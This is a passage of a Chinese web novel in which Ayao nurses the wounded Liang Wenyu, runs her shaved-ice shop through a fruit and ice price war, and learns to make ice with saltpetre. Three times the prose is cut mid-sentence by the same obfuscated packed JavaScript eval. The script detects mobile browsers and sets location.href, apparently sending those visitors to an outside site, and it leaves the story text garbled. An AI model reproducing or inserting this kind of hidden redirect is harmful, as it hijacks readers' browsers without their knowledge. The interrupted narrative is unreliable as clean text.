她身上塞了几颗药丸,取来水壶一股脑全喂进梁文宇嘴中:“别慌,这些能补气血。” 说来还要多谢海氏,自打见识过阿瑶逃亡后遍体鳞伤模样,海氏就时常在阿瑶香包里放几颗药丸,补气止血。 听了阿瑶话,梁文玉乖乖吞咽下去,他身上都是隔着衣物捆绑的带子,歇了会儿,气色好了些,脸上出现点血色。 “抱歉。”梁文宇视阿瑶为救命稻草,对她出现虽困惑可也万幸。 “别说话,才止住血。”阿瑶认真地盯住他身上各处衣带。 他喘息声很大,可说话带着病弱,有些上气不接下气:“你为何会在此处。” 阿瑶望着他明亮眸子,跑到推车上拿了颗果子暂且堵住他的嘴:“怎么不听话,你伤着要省力气回去。” 她担心自己无法托起梁文宇,而推车上头实在没位置让他坐,拉扯这么大一活人,阿瑶还是头回,拉起人往自己身上抗,当全身重量都压往她身上时,阿瑶脚下略有些站不稳,朝旁边踉跄了几步。 两人之间相差半个头,他垂落的脑袋抵在阿瑶头上,低低地呼吸声落扫过耳尖,热气从衣领吹进后颈,酥麻感觉传遍全身,她咬住嘴唇不放,指尖却微微用力固定住他要朝前倾倒的身躯。 许是无意触及到他伤口,耳边传来的闷哼让阿瑶有些为难,她扭头瞧了眼,梁文宇眼皮耷拉瞳孔涣散,整个人快失去意识。 “我们马上到了。”阿瑶嗓音柔和。 话语在他耳边回荡,像是黑暗里的一束光明,让他在虚假中找回现实。 好不容易回到宅子,却发现爹娘并未在家中,阿瑶顾不上那么多送梁文宇回屋子休息,由于她提前喂下药,他身上伤口未再有出血痕迹,阿瑶仔细看了一番才敢离去。 她来回跑了两趟,半夜去药铺买来草药,回到宅子开始烧水,用蜡烛烧红的剪子剪开随意包扎的布条,但伤口位置不太明显,阿瑶还要把阻挡视线的里衫也剪开,面对昏睡过去的梁文宇,阿瑶轻轻说了句:“对不住!” 说完,就拿着剪子划开了他半个肩膀的衣衫,里面完整呈现的伤口比她想象中要长和深,阿瑶买的都是铺子里最好的止血药和愈合药,光这两种就花了她两贯铜钱。 她浸湿布料,用带着热气的布块擦拭梁文宇右肩,拿出竹片挖取粉末小心地沿着伤口形状洒上,刚落下时阿瑶看着梁文宇猛然蹙起眉头,还有嘴里发出的呻.吟不禁让她有几分好奇,今日到底出了何事?又是什么让他冒这样的风险出去。 阿瑶担心梁文宇动手挠伤口,她找来纱布把伤口处都包裹起来,最后捏起布块擦拭他脸颊上干涸的血迹,苍白俊脸上出现两道细小血痕,破坏了他天生的美感,指尖慢慢磨平他紧锁得眉头。 松手时梁文宇猝然睁开双眼,如墨般的深瞳带着复杂情绪就这样盯着她,阿瑶端着淡盐水坐到床榻一角,抬头是目光碰撞,阿瑶率先出声:“你醒了。” 梁文宇昏睡时段并不久,他始终带着知觉,迷糊中听见阿瑶低声话语以及那真实的触感:“有劳你了。”他嗓音沙哑,嘴角因失血过多而干裂。 阿瑶垂眸未语,手中舀起一勺盐水喂进他口中,直到喝下整碗。 “等会儿,我煮些白粥给你喝。”阿瑶替他做好决定。 咸中带涩的味道在他喉间持续许久才渐渐被舒缓下去,被人用强硬姿态灌下一碗淡盐水,此刻嗓子舒缓许多:“好。” 由于梁文宇受伤需要修养,事情全交到阿瑶手中,又逢家中无人帮助,她煮完白粥喂梁文宇喝下后,手中便忙起熬煮果酱一事,等天边出现微弱亮光,她才收手回去小睡一会儿。 许老大夫妇回来时旭日已然东升,光芒直射云层,为天边镀上一层金光,院子内箩筐、竹篮散落一地,果皮满地显得有些凌乱,收拾好一切,带上果酱出门,临走前煮了些吃食闷在铁锅内。 阿瑶只小睡了五个时辰,她打算起来整理院子,开门时灶台还冒着细烟,知晓爹娘来过后准备新一天的营生。 昨晚惊心动魄一幕还在她眼前闪过,太阳穴突然直跳,针扎一般的刺痛从皮肤表面钻入脑内,她摁住位置,甩了甩头,这批果子都是偷偷走私得来。 多亏吴大娘和西市果商交情甚好,她才有机会可获得鲜果,价格偏贵了些,可也在承受范围之内,购买一次果子能够让她支撑好几日营生,唯一庆幸的是昨日铤而走险途中偶然救下梁文宇性命。 或许今日就在无此人,阿瑶始终不敢张口询问他,但从伤口形状以及昨晚场景来看,他遇上的人必然要杀他灭口。 想着想着就走到了铺子门口,自从花楼开始严令控制果价之后,外面市场上很难出现各类果脯和果酱一类吃食,连同冰饮摊上面最为常见的药木果都消失无踪,而阿瑶得人照拂可在此状况下保全营生。 她如今人在外头,心中却忍不住惦记起梁文宇来,当这个念头从脑海一闪而过时,阿瑶停下了手中动作。 思绪像是被牵动着,挥之不去的情感让她不愿坦然接受,在她认知中梁文宇的存在一直是属于益友,可这种感觉似乎在悄然发生转变,阿瑶摁下心头冒出来的想法,专心做冰。 可胸腔内像是发了芽长出藤蔓将心脏包裹起来,每每回想起昨日之事,都能隐隐感觉到枝叶抖动,这种状态是前所未有的。 “阿瑶,今日怎么有些心不在焉?”海氏察觉到她异样。 阿瑶端出冰沙,趁着低头掩饰眼中神情:“昨晚没睡好,有些难受。” “快回去休息,这里有我和你阿爹。”海氏朝许老大使眼色。 许老大附和;“对对对,快回去休息。” 两人一前一后把阿瑶手上的活都转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692321|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移走,催促她赶快回家休息,可她迟迟不愿离去是想先静一静。 她被海氏从铺子推了出去,手中捏着阿娘塞进来的果脯干,好像回到了儿时一样,她记忆中海氏务工时总会给她果脯,打发她出去玩。 没想道这个习惯一直保留至今,她举起来咬了口是桃脯,腌渍后带着咸甜味,胜在清口有嚼劲。 阿瑶去东市找吴大娘,铺子里好像不止一人声音,有说有笑好生热闹。 吴大娘料到阿瑶回来,只是没想到早了些,刚沏好的茶水还有些滚烫,她切出果子摆在桌前。 “阿瑶,快进来,就等你一人。”吴大娘发现窗前影子,从身型判断出阿瑶。 她进了屋,笑道:“大娘好眼力,如此都能瞧出是我。” “真是折煞我了,半百徐娘,经不起夸呀!”吴大娘过来拉住阿瑶往里走。 木桌对面坐了位娘子,身型小巧,带着帷帽,阿瑶一时有些认不准。 那小娘子卸下帷帽子,露出真实面容,阿瑶轻呼一声:“姣姣。” “阿瑶。”吴姣姣本是偷溜出来,她有要事同姑母商量,见到阿瑶脸上并未流露出意外。 “昨晚歹人在城中出没,今早有人发现西市摊位处大片血迹,阿爹听闻不放心,特叫我过来。”实际是她将表哥受伤一事告知姑母而已。 阿瑶眉心皱起来:“歹人可有抓到。” “并未。”吴姣姣摇头。 “那你可知因何事而起?”阿瑶对此事很是关注。 吴姣姣与大娘对视,得到对方允许后才开了口:“有人冒充花楼同伙骗取消息,结果被发现,那人至今下落不明,内部传出流言,说是此人伤在胸口和右臂。” 吴姣姣口中的伤势和梁文宇身上如出一辙,阿瑶神态微变,追问:“吴县令可有派人捉拿?” “贼人还未落网。”吴姣姣发现阿瑶神色略有不同,“你为何如此紧张,可是发现那冒充之人。” 阿瑶摇头否认:“并未,只是好奇罢了。” “说来也奇怪,大活人平白无故消失。”吴姣姣察觉阿瑶反应怪异,试探起来:“那人能够以身犯险,堪当英雄,只可惜无缘见到此人。” “会见到的。”阿瑶不确定两人是否是为了捉拿梁文宇邀功而故意这般问,给出了个模棱两可的答案。 “那就借你吉言,我还真想见一见此人!”吴姣姣表现出很大兴趣。 阿瑶转开视线,没坐一会儿就找了借口离去,贼人还没落网,梁文宇处境还属危险境地。 她站在大门口,指尖抵上拉环,犹豫不决,随后推门而入。 梁文宇受伤后,吃食都是阿瑶送进去,喂了半碗米粥他一直都处于半意识状态,她推门而入,手脚很轻,生怕吵醒他。 伤口长势并没有阿瑶预期中的好,表面冒出的血水染红了纱布,需要重新清洗上药,屋内闷热也不适伤口恢复反而容易发炎,她多放了几块冰降温。 前面换药使阿瑶多了份经验,她换上小剪子,先处理右肩,指尖触及表面,热意袭来吓退了她,抬手搭上他额间,掌心滚烫,阿瑶心头跳了一下。 46. 分家后(二十三) 伤口没结痂却出现腐烂迹象,刀上有毒,这是阿瑶脑内闪过的第一反应。 她非医者,不敢轻易下手,简单擦拭后赶去医馆叫了大夫,还好毒入脉浅,多亏昨日喂下淡盐水,侥幸逃过一劫,大夫嘱咐完便离去。 熬药需用罐,家中除去陶罐便没其他物件,她干脆直接用陶罐文火慢煮。 梁文宇身上烫的都快比上火炉,阿瑶打湿布团裹上冰块放于额间,胸口处是大夫剜去腐肉上完药的模样,轻轻包扎好。 正要起身换水,腕间蓦地被抓住,掌心紧贴,那种炙热感穿透肌肤直入经络,热感从一人体内传向另外一人。 他攥得紧,都快把阿瑶手腕握断:“阿瑶!” “我在。”阿瑶虽不明梁文宇为何出声,但还是耐心安抚。 在昏迷中清醒,待看清她眼中神情时忽然松手,“抱歉。” 她只是笑了笑:“你且好好休息。” 梁文宇退烧对她而言是件好事,起码撂下一件心事,虽然从他人口中得知他便是冒充接头之人。 在某一瞬间,他加持了她心中对于正义的化身,愿意成为不惜一切都要掩护他的人。 吴大娘与姣姣之间的对话成为阿瑶心中一根无法拔除的长刺,因为梁文宇伤后,寻找胸口和右肩有伤之人成了花楼唯一可以搜寻的线索。 而她敢请大夫前来,是因为在此之前亲手伤了他一次,只为掩去他身上能够轻易被发现的痕迹。 伤在胸膛又刚挖了肉,梁文宇咳嗽一声就能牵动伤口,疼痛仿佛钻心般,额发间沁出薄汗,白纱布上如雪中红梅逐一绽放,星星点点。 阿瑶折回来替他重新包扎,梁文宇目光跟随她动作转动,看得她浑身不自在。 “大夫说你这伤差点伤及筋脉,好在刀上下的是微毒。”阿瑶卷起纱布,“到底是什么人,要下毒手杀你?” 梁文宇仰头望向床帐:“视百姓为蝼蚁之人。”他好似明白了外祖和舅父即使在朝为官,却又无法为民的挫败感。 “将来若有一日,我身陷泥潭不可自拔,还请你莫顾及你我间交情。”他说的决绝。 阿瑶手头打好节,展平褶皱:“等你哪日真当上官,我可以考虑袒护你。”她用一种轻松语调说着。 “官。”梁文宇嗤笑一声,意味深长。 “人人都想的位置,不好么?”面对梁文宇态度转换,阿瑶略感不解。 或许在她认知中那些书生寒窗苦读十多年不就是为了有朝一日能够中仕,入朝为官,她并未再多问。 阿瑶惦记汤药收拾好就先出了。 院子里,茶炉中“咕噜咕噜”扑腾着,壶嘴冒出的烟又快又急的,她往里面添了些水,都快烧干了。 推车上方是阿瑶还未来得及卸下来的果子,满满一车都是通过关系私底下购置而来,她一筐筐搬下来,倒进木盆清洗干净。 这个季节,杨梅、蜜桃等时令果子可都是鲜货,阿瑶捏着刨子削皮去核,扔进干净木盆中,捣碎出汁液。 将杨梅果核分离之后,倒出一半汁液加入少量糯米粉揉成小丸子,还是有另外一半倒入锅内加上麦芽糖浆熬煮,这里头有不少果肉可是做果酱的好料子,丸子注熟后需要过一遍冰水才会有劲道。 阿瑶按照上面法子,将有颜色的果子分出小份汁水做成丸子,她算是集齐五种颜色的果子,摆在一起做成冰雪冷丸子款式,各种颜色丸子汇聚在一起,缤纷靓丽很是好看。 先做一碗出来,用细腻牛乳冰为底,加上各类丸子三五颗,在加上少量蜜豆和庵罗果酱,混合在一起的口感简直美味,想着该定个什么价格。 小丸子揉成团只有一个指甲盖大小,一个面团可以得到许多颗,几个面团加起来可做百颗,一碗放十来颗,二十多碗已是有的。 新做出来的款式,阿瑶都带上拿到铺子里去,请爹娘替她尝一尝口味。 之后写上招牌,算是告知过往食客冰雪铺又出新品了。 她给新品定价到六十文一碗,因为果子被严格把控,晚上偷摸采购瓜果一事就属于走私,阿瑶不敢伸张害怕被旁人知晓。 有食客问起来,对外宣称都是用蔬果来调的色,这些小丸子在夏日里很招人喜爱,尤其是酷爱此种色彩的食客。 好多人过来询问阿瑶是否售卖丸子,都被她一一否决,主要是制作过程太过于劳累,售价若高就无法从中赚取钱财。 购买一次果子顶多只有几日可挡,梁文宇伤势好的不太快,天气太热他身上都有些起疹子,伤口总是不愿结痂,反而愁坏了阿瑶。 当日的事情被花楼当做逃犯在周边四处搜寻,阿瑶出门购买伤药刻意听了一些,再晓得对方找寻不到时才送了口气。 梁文宇受伤阿瑶未曾告诉过爹娘,生怕为此招来横祸,她每每等到两人出门才去替他换药。 一次两次,阿瑶也就习惯了,他胸口的伤好歹结上痂。 时隔五日,梁文宇总算出了宅子门,这几日往返院子都不止十次,差点憋坏了他。 这几日一有空就帮阿瑶搓丸子,五颜六色的小丸子由阿瑶亲自取名叫七彩丸子,在冰雪铺售卖的碗数都快远超蜜沙冰。 铺子里光买冰雪冷丸子就已经到了顶峰,多数食客喜欢将黄豆丸子替换成七彩丸子,阿瑶搓得手都快伸不直。 “今晚陪我去西市走一趟。”她时隔四五日就要去西市一趟。 表面上西市好似受到花楼控制,可是背地里大家伙还是愿意冒险多做一些生意。 阿瑶去瞧过,西市从东市拿了不少好果子来卖,外头控制他们售卖,多的果子无法兜卖出去,好多都烂在铺子里,导致果商亏损严重,花楼吃不下那么多果子,宁可出价高些都不愿让外人所得。 两人是悄悄从西市小巷进入,顺着夜色模糊时在巷子里交易,果商会将阿瑶前一次定下的果子统一搬运出来装进篮子再用麻布盖上绑紧。 交取的钱财是往常售卖时的一半,阿瑶自然是要多多来几次。 回去时路过上次梁文宇躲藏之处,发现地上血迹早被人清理干净,还留着些刷痕,阿瑶瞧了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703244|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她的视线从推车上划过,落在前面的梁文宇身上,一转眼从受伤到恢复已经照料了他五日之久,还真没料到当初的纨绔子弟会变成现在这幅摸样。 其实故意询问他是否想当官是她在试探。 前面的人似乎感受到后面强烈视线,停下脚步转过身看着她。 距离填补了相差一个头的高度,她站在原地对上他探过去的目光,借着微弱光芒,圆润杏眼明亮清澈,眼神中赋予的神态祥和平淡,她忽然笑起来,笑意从眼底透出来。 明明相差几步路,可还是被她感染,心底像是有什么东西在蔓延,深深牵挂着。 “快走。”阿瑶小碎步走到他身边催促。 回到宅子是一刻都不停下,许老大夫妇这两人都不在此过夜,听说是小叔伯一家出了些事需要两人回去处理。 两人分工明确,阿瑶清洗之后,去果核任务就落到了梁文宇身上,这些果子已经有些熟透,阿瑶就没切丁,直接用铲子压碎开始煮起来,等到差不多就加入麦芽糖,直到铲子出现倒三角模样装罐。 阿瑶多次少量买,引起注意,全城都在私下偷买果子,花楼有意抬高果价被反策,至此便被迫放弃这个方法。 企图垄断果价遭受失败告终,生意上方还是阿瑶略高一筹,她光靠着低价果子收入增加许多,这是阿瑶意想不到的。 花楼彻底放手操控瓜果价格之后,昔日的营生又回来了,州桥上本就靠果脯为生的摊子回到以往状态。 自从阿瑶包圆果脯摊子后,反倒被他们制作果脯手艺吸引,她想着能够多买一些回来,适量放到沙冰上头装饰。 这几日生意好,每日都能卖上好几百碗,阿瑶一天下来在后厨和大堂来回跑,碗洗的都快有百来回,冰搬的都快不止一次。 只是最近冰价降涨不稳,忽高忽低,涨至两贯银子还不够,这是要把人赶尽杀绝。 阿瑶清点过地窖里的冰块,撑不了几日,她坐在柜台后头用麻绳穿起来细数,结合所买数量,发现又多了近一贯钱的数。 视线唰一下落到梁文宇侧脸,阿瑶忍不住推敲一番,难道真是他? 许老大夫妇回来时带了不少家中瓜果和几只鸡鸭回来,听许老大说许老爹出海随队的职务转让给了小叔伯,半月后队伍就要出发了,许老爹希望老大一家都能回去吃个团圆饭,下月初七送许老二上船远航。 刚听闻这件事阿瑶有些不信,她小叔伯什么样一个人,阿爷必然比她清楚,变故的确很大。 晚间四人坐在铺子一道吃饭,许老大难得问了梁文宇几句话,一月相处下来,许老大对梁文宇有些少许看法,铺子中多位男子并非坏事。 难得是许陈氏对夫妻两人多说了几句话,表示阿瑶年级不小了,该找人议亲了,拖下去岁数大了反而不好,还抛头露面之类的话。 原本打算缓一缓的海氏,听着许陈氏几句真心话,回来时也想明白了,她心中有了这个打算。 到底家中还是许老大说了算,这事由他开口找梁文宇探探。 47. 分家后(二十四) 用过晚膳,许老大借着购买果子为由叫了梁文宇一道出去。 “文宇对阿瑶有何看法?”许老大先问他对阿瑶的感觉。 两人并排走,他道:“阿瑶像是春日新生小草,身上总有一股不服输的韧劲。” 许老大未曾料到他会如此说:“是啊,阿瑶这姑娘打小就要强,近一年来是什么事儿都硬抗,我和她阿娘是希望能替她找个好夫婿。” 话说到此便不由得停下了。 梁文宇知道许老大找他来的理由:“许叔,阿瑶很好,反倒是我配不上。” “话不可怎么说。”许老大及时制止,仰头望了眼满是星辰的天,道:“你对阿瑶比谁都上心,阿瑶对你也有些不同。”他瞧出来了。 只是大家都有些心照不宣,毕竟都希望两人能够… 可惜,一个眼中并未儿女情长,一个眼中满是胜负,想到这些许老大就莫名头疼。 “许叔,我知晓你们对我和阿瑶之间的关系有所好奇,我与她从一开始就是主仆、盟友,其他并无。”梁文宇边走边说。 梁文宇心中对于男女之事一直都是放在后头,他总认为该处理舅父交于他的重要之事,对于内心那种需求他顾及不上,再度被提起,说明已经处于危险状态。 许老大唉了一声,拉着车子往前走,一个两个榆木脑袋,他们这些外人都能瞧得出来,怎么偏偏这两人自己发现不了呢? 感情一事本就不能由外人点明,许老大是过来人,可并未打算劝解这忽明忽暗的关系。 他敛去脸上神情:“许叔,我对阿瑶只有感激之恩,并无其他想法。”可心口会在说起阿瑶时多跳动几下。 许老大感到有些惋惜,他对梁文宇此人很是满意,让他做女婿,阿瑶必然轻松自在,可惜无缘。 “还请许叔莫将此事告知阿瑶。”梁文宇交代许老大保守秘密。 他此行目的是为了探寻冰价背后之人,若是叫人发现软肋,岂不平白害了阿瑶一家,那真该是愧疚。 两人采购好果子返程,路上梁文宇发现陆庄身后跟着位黑衣人,随他一同从花楼边上小巷出来进了马车,他与许老大交代几句跟上去。 他们走得小道很是偏僻,梁文宇躲在低矮丛中,静静聆听,人并未下车,而是在车中商谈起事来,因距离远,他并未听清几句,只是隐约听见陆庄叫那人六爷。 车内好似有三人,哪位被叫六爷的人在两人下车后都没露过面,只留下一句话,这句话关乎冰价后续,他定然不能随意放任。 很快,他便看着陆庄带着黑衣人离去,悄悄跟了段路程,发现他们和冰行店家朱玉罗龙关系密切,好似时常往来。 因冰价一直上涨,导致寻常百姓已无法用冰维持日常生活,梁文宇受舅父所托借着与他对赌一事,顺道查明冰价背后之人。 前方两人相互恭维几句后,进了屋,周边值守着他们带过去的武打手,梁文宇近不了身躲在山坡后头守了将近有一个多时辰,才见人从里头出来。 “朱兄,此事还需你多费心,主子哪头我自会去交代,若是办不好此事,你这位子可就不是我能保全了。”陆庄语气缓慢,可调中带着股压迫。 朱玉龙眉眼跳了下,忐忑道:“多谢陆兄提点,我自当尽力而为。” “供上来的东西,六爷很喜欢,只是还差点意思。”陆庄有意提点道。 “这差点意思,倒是为难在下。”朱玉龙作揖,“还请陆兄提点一二。” 陆庄:“与花楼作对的人,你说呢?” “是是是。”朱玉龙连答到,“我定不负六爷所托。” “都是旧事,不提也罢,朱兄,好自为之,莫让主子失望。”陆庄率先上车,途留背影。 等人离去,梁文宇去看过屋子,茅草房中央摆着张陈旧木桌,上头只有一壶茶和两只茶盏,除此之外什么都无。 他细细摩挲起来,屋中并无异样,却又怪异,窗边留有一花瓶,上头插着一枝干梅花,枝上五朵红梅。 梁文宇去了趟县令府,将今日事说于舅父听之后便离开,临行前他将红梅交到舅父手上,风干的梅花还残留着股芳香,他沾染了不少。 阿瑶熬好糖浆装罐,梁文宇去时帮她把东西搬进地窖,用长砖头堆砌起来,里面深,存下冰后像冬日一般寒凉刺骨,凉气穿过衣裳钻进骨骼,冻得起了鸡皮疙瘩。 她每日都要去冰窖数一数数量,日渐减少,阿瑶也愁的发慌,生意是逐日上涨,冰若是跟不上可不行。 之后几日,阿瑶刻意控制用量,会用铁盘装入牛乳放到地窖中冷藏,一夜就能冻住,阿瑶会往冰块里掺和进一些牛乳,即使在减少冰沙时填入牛乳对外说些改良口感的话语还是能搪塞过去的。 一系列行为非但没得食客反对,还吸引来不少人,牛乳可是少有的东西,寻常百姓能吃上些但是不多。 一般开铺阿瑶一家都是先后离去,许老大夫妇当属最早离家,阿瑶和梁文宇两人则会晚上一两个时辰。 许老大仍然做吃食,最近段时日冰饮难卖,他就私创了一些早点小吃可供路过食客购买品尝,铺子主要以冰沙为主,他推着拖车在老地方摆摊。 前头阿瑶发过话、让许老大做几道好菜让大伙吃,终于提上日程。 冰雪铺现在不光买冰饮如此简单,还可吃些家常菜,都是许老大拿手好菜,自离开花楼之后再未做过,如今重出江湖,难免会让人心动。 食客争相恐后得先到铺子占位,这几道菜不同江南特色,赋予恭州鲜麻香为主,他年少时跟随的一位厨子是恭州人,会做很多菜,他学了些来。 爆炒牛肉搭配上花椒、姜,蒜等调味,让牛肉的鲜嫩达到极致,油炸下锅之前不必须用蛋清加少量胡椒腌制起来,而后再放沙姜和花椒爆炒均匀出锅。 经过腌制加爆炒出来的牛肉,很大程度上锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720757|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了肉质本身水分,使得口感鲜嫩,一口下去姜与胡椒的辣麻不断散发出来刺激着味蕾。 辣感充斥口腔,使得食客吃一口叫唤一声,即使额间挂满汗珠也还要多吃几口,那种味道让人无法抵抗,越吃越香。 这道菜被阿瑶标注在最为显眼位置,字体用木炭圈起来,每桌几乎都要点上一道。 阿瑶心里还是想能否快速将边上铺子租下来,给许老大开食肆,两家并在一起做生意方便些。她铺中主供冰饮,许老大铺中就以吃食为主。 紧接着食客压不住那股麻辣劲,让阿瑶上了一碗蜜沙冰,她晓得牛乳能解辣,自作主张在冰中掺合进牛乳沙,买给食客还是原来价格。 如今的冰都已比牛乳价格高,她自然是要多放些。 冰桶里可存下三块冰,加上天热,爆炒牛肉吃了越发让人想喝些冰镇的东西,铺内的冰自然卖的就快了些。 她和梁文宇回去运冰,刚到巷子口直直望进去就能看见敞开的宅门,阿瑶眉心一跳,连撒开手过去。 她一路朝里走,院子散落一地的竹篮和食材,灶台大锅被人砸出大洞,屋子里柜门大开,衣物与被褥混在一处,看着都揪心,原本紧缩的眉头都快挤出川字。 这些都不是她最为担心的东西,她担心地窖被发现,当初建造时阿瑶有意安排隐蔽,等人到跟前才发现如此隐秘之地也被人捣毁。 果酱让人砸在地上,红一块,紫一块,靠近门口处还冒着丝丝凉意让阿瑶面色瞬间一白。 地窖冰大部分耐不住高温融化得只剩下半块,走进去就像淌在水塘中,水声哗啦哗啦,里面至少有十几块,最后只剩七八块可供她使用。 她面色惨白到极致,整个人都有些气得发抖,颤巍巍地走出地窖,双目如死气般目视前方,扫过每一处角落,可正是这无一处幸免才让阿瑶失去了生气。 “阿瑶。”梁文宇不之该如何安慰,他感观明锐,觉察出阿瑶的情绪。 脑子空白一片,眼眶堆积的泪水无声滑落,挂,她丧着嗓音:“一切都完了。”冰就是她最后的胜算,现在全毁于一旦。 供于百姓所用的冰都是冰行通过硝石制作出来而得,只有皇室宗亲才配摆放冬季河水冻结而得的冰块。 因硝石能制作出的冰块纯度不高,反而需要经过多次提炼,使得冰价上涨,但硝石制作并非困难一事。 “或许我们可以自己做冰。”梁文宇道。 他这个法子虽点醒了阿瑶,可对于硝石制冰方法她是完全没了解过:“此法你可会。” “会一些,待我改日去学上一学。”梁文宇说的云淡风轻,好似这些变故对他打击不大。 阿瑶擦干脸,埋头开始收拾,那些人过来砸得如此用力是打算用最粗暴方式赶阿瑶走,背后一定有人授予。 对方又是从何处得知她住在何处? 她脑中闪过一人,那日跟踪之人,正是歹毒。 48. 分家后(二十五) 隔日,阿瑶随同梁文宇去药铺购买硝石。 但两人都不知该如何制作,就只是少许买了些回去。 梁文宇根据古书记载,选用院中唯一仅剩的大缸中放入一只相同高度偏窄的小缸,往大缸中加水倒入硝石搅拌均匀,然后往小缸加入井水,在两口缸上头盖上麻布与厚实的被褥。 硝石制冰需要经过五六个时辰,等硝石吸收去水中热气,使小缸降至能够结冰状态算是完成。 两人等日落之后行动,此刻的热意对比白日要低上许多,很适合制冰,而且无需过多担心,睡一晚就行。 “怎么毫无变化。”阿瑶掀开被褥。 第一次制冰往往比他们想象中要难上许多,一夜过去缸中水和之前无差,只是要凉上一些。 梁文宇瞅上一眼:“一会儿我出去瞧瞧。” 都是根据书上指示进行制作,他们根本不知硝石所需用量多少,购买的量只有一小包。 “我们一去去。”阿瑶正好也想如何制冰。 镇上除了冰行还存有其他小本生意,梁文宇通过吴姣姣派人打探知晓此处有人会制冰,突然上门会有些冒昧,阿瑶就先去铺子做了碗沙冰和拿上新鲜出炉的小吃。 小小屋檐下,一口井和几只缸是手艺师傅吃饭的家伙,阿瑶带梁文宇去时都是股低调谦虚模样。 两人站在门口有些不知所措,师傅带领他们介绍完容器后,便直接上手制作起来。 大缸套小缸,大缸内壁填上一圈硝石倒入水后搅拌均匀,而后再小缸中倒少量井水,盖上两层麻布和棉花被褥,期间师傅洒了有近五六次的硝石小缸表面有些冰霜出现。 他们留在师傅家中吃饭,阿瑶本来就有这个打算,来时还买了蔬果今和肉。 她把肉切小块放入葱姜焯水后加入三四颗鸡蛋,倒入酱油和一瓶黄酒,无水煮出来的红烧肉比加水要香上百倍。 由于天热,阿瑶怕红烧肉油腻,弄几碗下饭菜,她将食材切成丁状,用酱料腌制后烹饪,口感鲜美,还准备了脆琅轩,撒拌和菜。 冰块结冰需要五六个时辰,他们硬是在师傅家中等待水完全结冰之后把这份冰买回家。 梁文宇隔几日会去这个师傅家中精进手艺,唯有不断实践才能从中获取经验。 就这样连续好几日,总算能做出些小冰出来,硝石块数量极多,阿瑶想着能够多提取一些出来。 硝石属于药材类,需从药店购买,数量少且稀有,本来阿瑶是想直接从那制冰师傅出购买,可每日能制作出来的数量远远无法供应她一日营生。 只好自己也做上一些出来,她想着竹筒开个小口装水后放入两盆叠套的硝石水中,放几个就能做几碗。 竹筒做出来的冰刚好一碗量,冰块碎而薄很适合用来当做沙冰吃,她为自己做了碗尝尝,碎裂冰省去了他们花费力气刨出来的摸样。 要想多做一些冰就需要更多的硝石来,药铺硝石量有限。 “阿瑶,旁边旱地、泥墙都会有,晚些阿爹带你一起去挖。”许老大推着车进门,后头跟着还是和两个哥儿。 两个哥儿手中一人拎了条胖头鱼,鱼头都快有他们头那么大,说是拎不如说是半捧半抱的,鱼尾都在地上拖着,快比的上半个扫把了。 这样好的鱼只有在汴梁河里才会有,要是到集市上去买还能得好多银钱。 再看两人衣摆都有河泥痕迹,手腕和胸前湿了一大片:“你们两人下河抓鱼去了?” 余哥儿掂了下鱼往身上拱了一拱:“阿姐,外头下大雨,这鱼是它自己跳出来的,不是我们两抓的。” 学堂后院贴着河,这几日水位上涨又临雨季,河里头的鱼跳出来呼吸,刚好落到台阶上,他俩出去捡花刚好抓到。 “两条鱼还张着嘴,新鲜的很。”许老大放下推车走过,“快拿给阿爹,晚上给你们做红烧鱼吃。” “大伯,我想吃你做的酥鱼。”余哥儿递鱼过去。 “好,大伯今日就给你们吃全鱼宴。”许老大一手一条拎到井边。 摔晕鱼后直接刮鳞,开膛,去除鱼齿和鱼鳃,鱼齿必须挖掉否则容易发腥,许老大剁下鱼头用葱姜蒜,加入少量黄酒,撒上盐连同米饭一起上锅蒸煮,剩下鱼身和另外一条鱼,许老大选取了鱼刺比较少了一段做红烧鱼,还有的就腌制后下油锅煎炸酥脆。 阿瑶在旁边打下手,酥鱼需要用料汁浸润才好吃,她就用酱油,醋,饴糖,少量黄酒和盐调制出来,想要入味必须是刚炸过来的酥鱼控干油水后,马上浸入料汁中,这样吸满料的鱼片才好吃。 最后一块鱼肚,许老大蒸熟后取下熟肉去刺,临时出去买了点火腿肉,笋干和一小碗鸡汤,他打算做一道鱼羹。 鱼肉剥成丝,火腿,笋干分别切丝,锅内倒入清鸡汤,煮沸后下入鱼肉,加入胡椒、盐调味;煮至沸腾加适量水淀粉勾芡。鸡蛋取黄打入碗中;打散后下立刻入锅,快速搅散后关火装碗。① 全鱼宴做好后,一家子人围在一张小木桌前,色香味俱全。 